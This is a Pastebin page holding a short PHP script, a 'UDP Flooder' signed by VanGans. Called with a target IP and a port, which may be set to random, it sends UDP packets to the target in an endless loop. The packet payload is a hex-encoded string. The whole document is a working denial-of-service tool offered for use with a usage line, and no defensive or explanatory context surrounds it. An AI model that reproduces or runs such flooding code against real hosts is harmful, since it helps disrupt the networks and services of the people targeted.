VanGans

udp flooder

Feb 10th, 2019
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.72 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. echo "\n############################";
  4. echo "\n#                          #";
  5. echo "\n# UDP Flooder By VanGans   #";
  6. echo "\n#                          #";
  7. echo "\n############################\n";
  8. if(!empty($argv[1]) && !empty($argv[2])) {
  9. $host = $argv[1];
  10. if($argv[2] == "random") {
  11. $port = rand(1, 65000);
  12. } else {
  13. $port = $argv[2];
  14. }
  15. $het = "\x24\x73\x20\x3d\x20\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x28\x24\x68\x6f\x73\x74\x2c\x20\x24\x70\x6f\x72\x74\x29\x3b";
  16. while(true) {
  17. $s = fsockopen("udp://".$host, $port);
  18. $r = fwrite($s, $het);
  19. fclose($s);
  20. if($r) {
  21. echo "\nFlooding UDP To => $host";
  22. } else {
  23. echo "\nNetwork Error";
  24. }
  25. }
  26. } else {
  27. echo "\nphp udepe.php target_ip port\n";
  28. }
  29. ?>
Advertisement
Add Comment
Please, Sign In to add comment